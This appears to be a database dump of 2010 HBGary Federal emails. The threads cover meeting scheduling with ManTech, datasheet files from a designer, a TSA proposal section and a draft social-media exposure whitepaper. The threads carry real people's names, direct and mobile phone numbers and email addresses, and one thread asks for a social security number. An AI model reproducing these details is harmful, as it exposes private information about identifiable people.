Technology Solutions\r\n\r\n703-869-4088\r\n(c) \r\n\r\n703-326-3467\r\n(o)\r\n\r\nEmail:\r\nBrad.Stewart@mantech.com\r\n\r\nwww.mantech.com\r\n\r\n&nbsp;\r\n\r\nBidding the Right Opportunities and Winning\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2294,'aaron_hbgary_com/2294.html'),(10187,'2010-08-12','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','/aaron@hbgary.com/new/1297007909.M262609P14101Q5042.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow opportunity discussions','Hi again, Aaron - I still need you to tell me the answer on the below\r\nbut aside from that, it looks like the only time that both Tiffanny and\r\nBill can accommodate next Thurs., 8/19 here in Herndon is from 1:30pm -\r\n3pm.  (Bill asked me to schedule 90 minutes this time).  Will that work\r\nfor you (and Penny, if Penny is invited)? -Dana\r\n\r\n-----Original Message-----\r\nFrom: Briggs, Dana M \r\nSent: Thursday, August 12, 2010 1:52 PM\r\nTo: \'Aaron Barr\'\r\nSubject: RE: Follow opportunity discussions\r\n\r\nAaron - Sure; Bill asked if this would be with or without Penny.  Please\r\nadvise and I will work schedules.  Thanks!  \r\n\r\nDana M. Briggs\r\nExecutive Assistant to\r\nL. William Varner, President\r\nMission, Cyber & Technology Solutions Group\r\nManTech International Corporation\r\n2250 Corporate Park Drive, Suite 500\r\nHerndon, VA 20171 \r\n(703) 674-2626 - phone\r\n(571) 485-2362 - e-fax\r\nDana.Briggs@ManTech.com\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 12, 2010 12:58 PM\r\nTo: Briggs, Dana M\r\nSubject: Follow opportunity discussions\r\n\r\nDana,\r\n\r\nCan you set something up with Bill and Tiffany for next Thursday to\r\ncontinue our discussions?\r\n\r\nThank You,\r\nAaron\r\n\r\nSent from my iPhone\r\n',3339,'aaron_hbgary_com/3339.html'),(10188,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007909.M479441P14101Q5043.eml','\"Briggs, Dana M\" <Dana.Briggs@mantech.com>','Re: Follow opportunity discussions','With penny.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 12, 2010, at 1:52 PM, \"Briggs, Dana M\"  wrote:\r\n\r\n> Aaron - Sure; Bill asked if this would be with or without Penny.  Please\r\n> advise and I will work schedules.  Thanks!\r\n>\r\n> Dana M. Briggs\r\n> Executive Assistant to\r\n> L. William Varner, President\r\n> Mission, Cyber & Technology Solutions Group\r\n> ManTech International Corporation\r\n> 2250 Corporate Park Drive, Suite 500\r\n> Herndon, VA 20171\r\n> (703) 674-2626 - phone\r\n> (571) 485-2362 - e-fax\r\n> Dana.Briggs@ManTech.com\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, August 12, 2010 12:58 PM\r\n> To: Briggs, Dana M\r\n> Subject: Follow opportunity discussions\r\n>\r\n> Dana,\r\n>\r\n> Can you set something up with Bill and Tiffany for next Thursday to\r\n> continue our discussions?\r\n>\r\n> Thank You,\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n',15989,'aaron_hbgary_com/15989.html'),(10189,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007909.M687524P14101Q5044.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: Follow opportunity discussions','Sent from my iPhoneBegin forwarded message:From: &quot;Briggs, Dana M&quot; &lt;Dana.Briggs@ManTech.com&gt;\r\nDate: August 12, 2010 2:03:07 PM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Follow opportunity discussions\r\nHi again, Aaron - I still need you to tell me the answer on the belowbut aside from that, it looks like the only time that both Tiffanny andBill can accommodate next Thurs., 8/19 here in Herndon is from 1:30pm -\r\n3pm.  (Bill asked me to schedule 90 minutes this time).  Will that workfor you (and Penny, if Penny is invited)? -Dana-----Original Message-----From: Briggs, Dana M \r\nSent: Thursday, August 12, 2010 1:52 PMTo: &#39;Aaron Barr&#39;Subject: RE: Follow opportunity discussionsAaron - Sure; Bill asked if this would be with or without Penny.  Please\r\nadvise and I will work schedules.  Thanks!  Dana M. BriggsExecutive Assistant toL. William Varner, PresidentMission, Cyber &amp; Technology Solutions Group\r\nManTech International Corporation2250 Corporate Park Drive, Suite 500Herndon, VA 20171 (703) 674-2626 - phone(571) 485-2362 - e-faxDana.Briggs@ManTech.com\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, August 12, 2010 12:58 PM\r\nTo: Briggs, Dana MSubject: Follow opportunity discussionsDana,Can you set something up with Bill and Tiffany for next Thursday to\r\ncontinue our discussions?Thank You,AaronSent from my iPhone\r\n',7841,'aaron_hbgary_com/7841.html'),(10190,'2010-08-12','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','/aaron@hbgary.com/new/1297007909.M899728P14101Q5045.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow opportunity discussions','Ok; is 1:30pm - 3pm next Thurs. good for the two of you?  (Here in\r\nHerndon again - 90 minutes.)\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 12, 2010 2:03 PM\r\nTo: Briggs, Dana M\r\nSubject: Re: Follow opportunity discussions\r\n\r\nWith penny.\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 12, 2010, at 1:52 PM, \"Briggs, Dana M\" \r\nwrote:\r\n\r\n> Aaron - Sure; Bill asked if this would be with or without Penny.\r\nPlease\r\n> advise and I will work schedules.  Thanks!\r\n>\r\n> Dana M. Briggs\r\n> Executive Assistant to\r\n> L. William Varner, President\r\n> Mission, Cyber & Technology Solutions Group\r\n> ManTech International Corporation\r\n> 2250 Corporate Park Drive, Suite 500\r\n> Herndon, VA 20171\r\n> (703) 674-2626 - phone\r\n> (571) 485-2362 - e-fax\r\n> Dana.Briggs@ManTech.com\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, August 12, 2010 12:58 PM\r\n> To: Briggs, Dana M\r\n> Subject: Follow opportunity discussions\r\n>\r\n> Dana,\r\n>\r\n> Can you set something up with Bill and Tiffany for next Thursday to\r\n> continue our discussions?\r\n>\r\n> Thank You,\r\n> Aaron\r\n>\r\n> Sent from my iPhone\r\n',898,'aaron_hbgary_com/898.html'),(10191,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007910.M133280P14101Q5046.eml','\"Briggs, Dana M\" <Dana.Briggs@mantech.com>','Re: Follow opportunity discussions','That works.\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 12, 2010, at 2:04 PM, \"Briggs, Dana M\"  wrote:\r\n\r\n> Ok; is 1:30pm - 3pm next Thurs. good for the two of you?  (Here in\r\n> Herndon again - 90 minutes.)\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, August 12, 2010 2:03 PM\r\n> To: Briggs, Dana M\r\n> Subject: Re: Follow opportunity discussions\r\n>\r\n> With penny.\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Aug 12, 2010, at 1:52 PM, \"Briggs, Dana M\" \r\n> wrote:\r\n>\r\n>> Aaron - Sure; Bill asked if this would be with or without Penny.\r\n> Please\r\n>> advise and I will work schedules.  Thanks!\r\n>>\r\n>> Dana M. Briggs\r\n>> Executive Assistant to\r\n>> L. William Varner, President\r\n>> Mission, Cyber & Technology Solutions Group\r\n>> ManTech International Corporation\r\n>> 2250 Corporate Park Drive, Suite 500\r\n>> Herndon, VA 20171\r\n>> (703) 674-2626 - phone\r\n>> (571) 485-2362 - e-fax\r\n>> Dana.Briggs@ManTech.com\r\n>>\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, August 12, 2010 12:58 PM\r\n>> To: Briggs, Dana M\r\n>> Subject: Follow opportunity discussions\r\n>>\r\n>> Dana,\r\n>>\r\n>> Can you set something up with Bill and Tiffany for next Thursday to\r\n>> continue our discussions?\r\n>>\r\n>> Thank You,\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n',333,'aaron_hbgary_com/333.html'),(10192,'2010-08-12','\"Briggs, Dana M\" <Dana.Briggs@ManTech.com>','/aaron@hbgary.com/new/1297007910.M327996P14101Q5047.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Follow opportunity discussions','Great; will send an apmt soon.  Thanks, Aaron.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, August 12, 2010 2:05 PM\r\nTo: Briggs, Dana M\r\nSubject: Re: Follow opportunity discussions\r\n\r\nThat works.\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 12, 2010, at 2:04 PM, \"Briggs, Dana M\" \r\nwrote:\r\n\r\n> Ok; is 1:30pm - 3pm next Thurs. good for the two of you?  (Here in\r\n> Herndon again - 90 minutes.)\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, August 12, 2010 2:03 PM\r\n> To: Briggs, Dana M\r\n> Subject: Re: Follow opportunity discussions\r\n>\r\n> With penny.\r\n>\r\n> Sent from my iPhone\r\n>\r\n> On Aug 12, 2010, at 1:52 PM, \"Briggs, Dana M\"\r\n\r\n> wrote:\r\n>\r\n>> Aaron - Sure; Bill asked if this would be with or without Penny.\r\n> Please\r\n>> advise and I will work schedules.  Thanks!\r\n>>\r\n>> Dana M. Briggs\r\n>> Executive Assistant to\r\n>> L. William Varner, President\r\n>> Mission, Cyber & Technology Solutions Group\r\n>> ManTech International Corporation\r\n>> 2250 Corporate Park Drive, Suite 500\r\n>> Herndon, VA 20171\r\n>> (703) 674-2626 - phone\r\n>> (571) 485-2362 - e-fax\r\n>> Dana.Briggs@ManTech.com\r\n>>\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, August 12, 2010 12:58 PM\r\n>> To: Briggs, Dana M\r\n>> Subject: Follow opportunity discussions\r\n>>\r\n>> Dana,\r\n>>\r\n>> Can you set something up with Bill and Tiffany for next Thursday to\r\n>> continue our discussions?\r\n>>\r\n>> Thank You,\r\n>> Aaron\r\n>>\r\n>> Sent from my iPhone\r\n',1483,'aaron_hbgary_com/1483.html'),(10193,'2010-08-12','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297007910.M576453P14101Q5048.eml','\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Gates, Tiffanny L\" <Tiffanny.Gates@ManTech.com>,\"Aaron Barr\" <aaron@hbgary.com>,penny@hbgary.com,\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>,\"Varner, Bill\" <Bill.Varner@ManTech.com>,\"Gates, Tiffanny L\" <Tiffanny.Gates@ManTech.com>','Opportunities Discussion w/HBGary Federal & ManTech MCTS (Leavy & Barr/Varner, Gates & Frisbie)','\r\n\r\n\r\n\r\n\r\nOpportunities Discussion w/HBGary Federal &amp; ManTech MCTS (Leavy &amp; Barr/Varner, Gates &amp; Frisbie)\r\n\r\n\r\n\r\n\r\nWhen: Thursday, August 19, 2010 1:30 PM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: ManTech MCTS - 2250 Corporate Park Dr. #500, Herndon, VA&nbsp; 20171 - Exec CR\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nHi All,\r\n\r\nThis is a follow-up discussion to Aaron&#8217;s meeting today with Bill and Tiffanny.\r\n\r\nSincerely,\r\n\r\n\r\n\r\nDana M. Briggs\r\n\r\nExecutive Assistant to\r\n\r\nL. William Varner, President\r\n\r\nMission, Cyber &amp; Technology Solutions Group\r\n\r\nManTech International Corporation\r\n\r\n2250 Corporate Park Drive, Suite 500\r\n\r\nHerndon, VA 20171 \r\n\r\n(703) 674-2626 - phone\r\n\r\n(571) 485-2362 - e-fax\r\n\r\nDana.Briggs@ManTech.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16161,'aaron_hbgary_com/16161.html'),(10194,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007910.M781256P14101Q5049.eml','\"John Verducci\" <john@studioem.com>,\"John Verducci\" <john@studioem.com>','Re: Untitled Document.pdf','Hi John,Can I get the raw file for the datasheet you made for us?Thanks,AaronOn Jul 27, 2010, at 4:08 PM, John Verducci wrote:Hi Aaron,Attached is the updated datasheet. Take a look and let me know if I missed anything or if you have more changes.Thanks!John&lt;HB Gary Social Media v02.pdf&gt;On Jul 27, 2010, at 11:48 AM, Aaron Barr wrote:John,I think this will do it for now thanks. &nbsp;Please add the following address as well as change the underlined text to the following...\"As well as some technologies.\"Front Range Office103 South Wahsatch Ave.LL Suite AColorado Springs, CO 80903Sent from my iPhoneBegin forwarded message:From: Ted Vera &lt;tedvera@me.com&gt;Date: July 27, 2010 10:56:34 AM MDTTo: Barr Aaron &lt;aaron@hbgary.com&gt;, Mark Trynor &lt;mark@hbgary.com&gt;, Vera Ted &lt;ted@hbgary.com&gt;Subject: Untitled Document.pdfSent with DocScanner&lt;Untitled Document.pdf&gt; ______________________John VerducciStudio Em Graphic Design974 Yorkshire DriveLos Altos, California 94024650.962.9200 Direct650.961.8801 Fax ',2693,'aaron_hbgary_com/2693.html'),(10195,'2010-08-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007913.M347773P14101Q5051.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Untitled Document.pdf','Ideally the graphics in vector format please.\r\n\r\nOn Thu, Aug 12, 2010 at 1:16 PM, Aaron Barr  wrote:\r\n> Hi John,\r\n> Can I get the raw file for the datasheet you made for us?\r\n> Thanks,\r\n> Aaron\r\n> On Jul 27, 2010, at 4:08 PM, John Verducci wrote:\r\n>\r\n> Hi Aaron,\r\n> Attached is the updated datasheet. Take a look and let me know if I missed\r\n> anything or if you have more changes.\r\n> Thanks!\r\n> John\r\n>\r\n> \r\n> On Jul 27, 2010, at 11:48 AM, Aaron Barr wrote:\r\n>\r\n> John,\r\n> I think this will do it for now thanks.  Please add the following address as\r\n> well as change the underlined text to the following...\r\n> \"As well as some technologies.\"\r\n> Front Range Office\r\n> 103 South Wahsatch Ave.\r\n> LL Suite A\r\n> Colorado Springs, CO 80903\r\n>\r\n> Sent from my iPhone\r\n> Begin forwarded message:\r\n>\r\n> From: Ted Vera \r\n> Date: July 27, 2010 10:56:34 AM MDT\r\n> To: Barr Aaron , Mark Trynor , Vera Ted\r\n> \r\n> Subject: Untitled Document.pdf\r\n>\r\n> Sent with DocScanner\r\n>\r\n>\r\n> \r\n>\r\n>\r\n>\r\n>\r\n>\r\n> ______________________\r\n> John Verducci\r\n> Studio Em Graphic Design\r\n> 974 Yorkshire Drive\r\n> Los Altos, California 94024\r\n> 650.962.9200 Direct\r\n> 650.961.8801 Fax\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',16740,'aaron_hbgary_com/16740.html'),(10196,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007913.M558543P14101Q5052.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Kirby Kintner\" <kkintner@digitalmanagement.com>','Re: TSA ITSSS Section 1.3 IA Tech Services','Thanks.I will get the items you have requested. &nbsp;Circumstances pulled me from working on this much today but I will be in your office tomorrow and monday.AaronOn Aug 12, 2010, at 3:22 PM, Kirby Kintner wrote:Thank you for developing this section. You have made great progress.&nbsp;DMI pushed the Pink Team review back to Monday because several of the sections were not ready for review. Therefore, I have taken this opportunity to review and comment upon your submission.&nbsp; Please review the attached file.&nbsp; If have questions, it is easier to get a full explanation by calling me – I type slowly. Use 703-966-7887.&nbsp;Please use the attached file to update your section. Please provide your graphic &nbsp;in source language.&nbsp;&nbsp;Also, I need two things from you:&nbsp; A scalable logo and a description of your company.&nbsp; RSVP with these elements today.&nbsp; Here are 2 &nbsp;samples of what I am looking for&nbsp;&lt;image002.jpg&gt;·&nbsp;&nbsp;&nbsp;Information Assurance&nbsp; engineering, guidelines/plans/policies, requirements analysis, exercise support, capabilities development·&nbsp;&nbsp;&nbsp;Computer, network, and telecoms vulnerability discovery, analysis, exploitation, and protection·&nbsp;&nbsp;&nbsp;Develop C&amp;A packages based on industry and specific agency standards·&nbsp;&nbsp;&nbsp;Cyber Warrior Training Program (multiple courses and skill levels)·&nbsp;&nbsp;&nbsp;Nationwide Distributed Enterprise Security Lab&nbsp; - TASC Research Lab·&nbsp;&nbsp;&nbsp;Computer, networks, and telecommunications switch and network vulnerability analysis, intrusion detection, digital forensicsHBGary·&nbsp;&nbsp;&nbsp;&nbsp;&lt;image004.png&gt;·&nbsp;&nbsp;&nbsp;Palantir Technologies developed a general purpose analytic platform for an&nbsp; intelligence infrastructure&nbsp;&nbsp;ThanxKirby703-966-7887&nbsp;&nbsp;&lt;1.3.3 Information Assurance Technical Services kjk.docx&gt;',1189,'aaron_hbgary_com/1189.html'),(10197,'2010-08-12','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297007913.M62263P14101Q5050.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','TSA ITSSS Section 1.3 IA Tech Services','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThank you for developing this section. You have made great\r\nprogress. \r\n\r\n&nbsp;\r\n\r\nDMI pushed the Pink Team review back to Monday because several\r\nof the sections were not ready for review. Therefore, I have taken this\r\nopportunity to review and comment upon your submission.&nbsp; Please review the\r\nattached file.&nbsp; If have questions, it is easier to get a full explanation\r\nby calling me &#8211; I type slowly. Use 703-966-7887.\r\n\r\n&nbsp;\r\n\r\nPlease use the attached file to update your section. Please\r\nprovide your graphic &nbsp;in source language.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAlso, I need two things from you:&nbsp; A scalable logo and\r\na description of your company.&nbsp; RSVP with these elements today.&nbsp; Here\r\nare 2 &nbsp;samples of what I am looking for \r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n   \r\n  \r\n   \r\n   \r\n  \r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;\r\n  Information Assurance&nbsp; engineering,\r\n  guidelines/plans/policies, requirements analysis, exercise support,\r\n  capabilities development\r\n  &middot;&nbsp;&nbsp;\r\n  Computer, network, and telecoms vulnerability\r\n  discovery, analysis, exploitation, and protection\r\n  &middot;&nbsp;&nbsp;\r\n  Develop C&amp;A packages based on industry and\r\n  specific agency standards\r\n  &middot;&nbsp;&nbsp;\r\n  Cyber Warrior Training Program (multiple\r\n  courses and skill levels) \r\n  &middot;&nbsp;&nbsp;\r\n  Nationwide Distributed Enterprise Security\r\n  Lab&nbsp; - TASC Research Lab\r\n  &middot;&nbsp;&nbsp;\r\n  Computer, networks, and telecommunications\r\n  switch and network vulnerability analysis, intrusion detection, digital\r\n  forensics\r\n  \r\n \r\n \r\n  \r\n  HBGary\r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;\r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n   \r\n  \r\n  \r\n  \r\n  &middot;&nbsp;&nbsp;\r\n  Palantir Technologies developed a general\r\n  purpose analytic platform for an&nbsp; intelligence infrastructure\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThanx\r\n\r\nKirby\r\n\r\n703-966-7887\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11561,'aaron_hbgary_com/11561.html'),(10198,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007914.M700525P14101Q5053.eml','\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: TSA ITSSS Section 1.3 IA Tech Services','Content for the technical services portion of the TSA Proposal so far.  Pink Team review is Monday.\r\n\r\nThis will be an important win and given their requirements we have a decent shot.  As I mentioned I am pitching the whole suite of HBGary products as well as Fidelis and Palantir for this effort.  Proposal is due 30Aug with an award by 30Sept.  Total value to HBGary Fed will be $15M approximately over 5 years.  ODC (product) is separate.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Kirby Kintner \r\n> Date: August 12, 2010 3:22:39 PM EDT\r\n> To: Aaron Barr \r\n> Cc: John Fanguy \r\n> Subject: TSA ITSSS Section 1.3 IA Tech Services\r\n> \r\n> Thank you for developing this section. You have made great progress.\r\n>  \r\n> DMI pushed the Pink Team review back to Monday because several of the sections were not ready for review. Therefore, I have taken this opportunity to review and comment upon your submission.  Please review the attached file.  If have questions, it is easier to get a full explanation by calling me – I type slowly. Use 703-966-7887.\r\n>  \r\n> Please use the attached file to update your section. Please provide your graphic  in source language.\r\n>  \r\n>  \r\n> Also, I need two things from you:  A scalable logo and a description of your company.  RSVP with these elements today.  Here are 2  samples of what I am looking for\r\n>  \r\n> 	\r\n> ·   Information Assurance  engineering, guidelines/plans/policies, requirements analysis, exercise support, capabilities development\r\n> ·   Computer, network, and telecoms vulnerability discovery, analysis, exploitation, and protection\r\n> ·   Develop C&A packages based on industry and specific agency standards\r\n> ·   Cyber Warrior Training Program (multiple courses and skill levels)\r\n> ·   Nationwide Distributed Enterprise Security Lab  - TASC Research Lab\r\n> ·   Computer, networks, and telecommunications switch and network vulnerability analysis, intrusion detection, digital forensics\r\n> HBGary\r\n> ·    \r\n> 	\r\n> ·   Palantir Technologies developed a general purpose analytic platform for an  intelligence infrastructure\r\n>  \r\n>  \r\n> Thanx\r\n> Kirby\r\n> 703-966-7887\r\n>  \r\n>  \r\n\r\n',2047,'aaron_hbgary_com/2047.html'),(10199,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007914.M925724P14101Q5054.eml','\"Ted Vera\" <ted@hbgary.com>','','> https://www.fbo.gov/index?s=opportunity&mode=form&id=5aa0b9303813337bfb3a9674affb2e5d&tab=core&_cview=1\r\n',11310,'aaron_hbgary_com/11310.html'),(10200,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007915.M154565P14101Q5055.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','First Page','The explosive growth of the social web creates an entirely new class of services that engage, connect, and push relevant real-time information to users. &nbsp;The personal and organizational benefits of social media are measurable; whether through immersive training, &nbsp;targeted marketing, relationship building, recruiting, or richer communications and collaboration. &nbsp;The only thing the social web requires is some level of personally identifiable information (PII); who you are, where you are, what you like and dislike, who you associate with, etc. &nbsp;Most of us that are involved in this space have not one but multiple social media accounts to satisfy different needs. &nbsp;The exposure of PII is a constant topic of interest and concern amongst security and privacy advocates as well as individuals that just don\'t want to be another statistic. &nbsp;So conversations are about about the security and privacy settings of specific services, level of security, etc. &nbsp;What is little talked about is the level of exposure to persons and organizations through the aggregation of PII across the social media landscape. &nbsp;What can someone tell about the associations I have, the places I work, the locations I have checked in to, the things that I discuss. &nbsp;What can all of this information expose about organizations based on analysis of this information across a set of its employees. &nbsp;With this as the context we all need to think about the benefits of effective use of social media, the risks in use, and especially in misuse of social media, and the steps individuals and organizations can take to limit exposure of information they might deem sensitive.The second page I am going to get more edgy and specifically call out information acquisition using social media.Aaron',12219,'aaron_hbgary_com/12219.html'),(10201,'2010-08-12','\"John Verducci\" <john@studioem.com>','/aaron@hbgary.com/new/1297007939.M297312P14101Q5056.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Untitled Document.pdf','Hi Aaron and Ted,\r\n\r\nAttached are the files.\r\n\r\nThanks!\r\n\r\nJohn\r\n\r\n\r\n\r\nOn Aug 12, 2010, at 12:16 PM, Aaron Barr wrote:\r\n\r\n> Hi John,\r\n>\r\n> Can I get the raw file for the datasheet you made for us?\r\n>\r\n> Thanks,\r\n> Aaron\r\n>\r\n> On Jul 27, 2010, at 4:08 PM, John Verducci wrote:\r\n>\r\n>> Hi Aaron,\r\n>>\r\n>> Attached is the updated datasheet. Take a look and let me know if I  \r\n>> missed anything or if you have more changes.\r\n>>\r\n>> Thanks!\r\n>>\r\n>> John\r\n>>\r\n>>\r\n>> \r\n>>\r\n>> On Jul 27, 2010, at 11:48 AM, Aaron Barr wrote:\r\n>>\r\n>>> John,\r\n>>>\r\n>>> I think this will do it for now thanks.  Please add the following  \r\n>>> address as well as change the underlined text to the following...\r\n>>>\r\n>>> \"As well as some technologies.\"\r\n>>>\r\n>>> Front Range Office\r\n>>> 103 South Wahsatch Ave.\r\n>>> LL Suite A\r\n>>> Colorado Springs, CO 80903\r\n>>>\r\n>>> Sent from my iPhone\r\n>>>\r\n>>> Begin forwarded message:\r\n>>>\r\n>>>> From: Ted Vera \r\n>>>> Date: July 27, 2010 10:56:34 AM MDT\r\n>>>> To: Barr Aaron , Mark Trynor ,  \r\n>>>> Vera Ted \r\n>>>> Subject: Untitled Document.pdf\r\n>>>>\r\n>>>> Sent with DocScanner\r\n>>>>\r\n>>>>\r\n>>> \r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>\r\n>>\r\n>> ______________________\r\n>>\r\n>> John Verducci\r\n>> Studio Em Graphic Design\r\n>>\r\n>> 974 Yorkshire Drive\r\n>> Los Altos, California 94024\r\n>>\r\n>> 650.962.9200 Direct\r\n>> 650.961.8801 Fax\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n\r\n\r\n______________________\r\n\r\nJohn Verducci\r\nStudio Em Graphic Design\r\n\r\n974 Yorkshire Drive\r\nLos Altos, California 94024\r\n\r\n650.962.9200 Direct\r\n650.961.8801 Fax\r\n\r\n\r\n\r\n\r\n',4410,'aaron_hbgary_com/4410.html'),(10202,'2010-08-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007941.M11235P14101Q5057.eml','\"John Edwards\" <John.Edwards@agilex.com>','Re: Meeting - Finally','Hey John,\r\n\r\nWhen would you like to get together?\r\n\r\nAaron\r\n\r\n\r\nOn Aug 9, 2010, at 3:45 PM, John Edwards wrote:\r\n\r\n> Can you shoot me your social?  I need to get your clearances passed to me.  Our security officer can vet and validate.\r\n> \r\n> On Aug 9, 2010, at 3:22 PM, Aaron Barr wrote:\r\n> \r\n>> Other folks were cleared just need reinstated.\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Aug 9, 2010, at 3:21 PM, John Edwards  wrote:\r\n>> \r\n>>> One quick question:  Any one from your side cleared yet?\r\n>>> \r\n>>> On Aug 9, 2010, at 3:08 PM, Aaron Barr wrote:\r\n>>> \r\n>>>> Rgr.  I am open working on a proposal, so flexible.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> Sent from my iPhone\r\n>>>> \r\n>>>> On Aug 9, 2010, at 3:01 PM, John Edwards  wrote:\r\n>>>> \r\n>>>>> Aaron,\r\n>>>>> Lets\' set something up for next week (16th).  There are a couple of things I need to talk to you about.  One has a short time-fuse.\r\n>>>>> John\r\n>>>>> \r\n>>>>> On Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n>>>>> \r\n>>>>>> John,\r\n>>>>>> \r\n>>>>>> How about first week of August?  I am on family vacation starting\r\n>>>>>> Thursday then blackhat.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> Sent from my iPad\r\n>>>>>> \r\n>>>>>> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n>>>>>> \r\n>>>>>>> Aaron,\r\n>>>>>>> I\'m good later this week or next -- let me know what works for you\r\n>>>>>>> \r\n>>>>>>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>>>>>>> \r\n>>>>>>>> Hi John,\r\n>>>>>>>> \r\n>>>>>>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>>>>>>> \r\n>>>>>>>> Let me know when you have some time.\r\n>>>>>>>> \r\n>>>>>>>> Aaron Barr\r\n>>>>>>>> CEO\r\n>>>>>>>> HBGary Federal Inc.\r\n>>>>>>>> \r\n>>>>>>> \r\n>>>>> \r\n>>> \r\n> 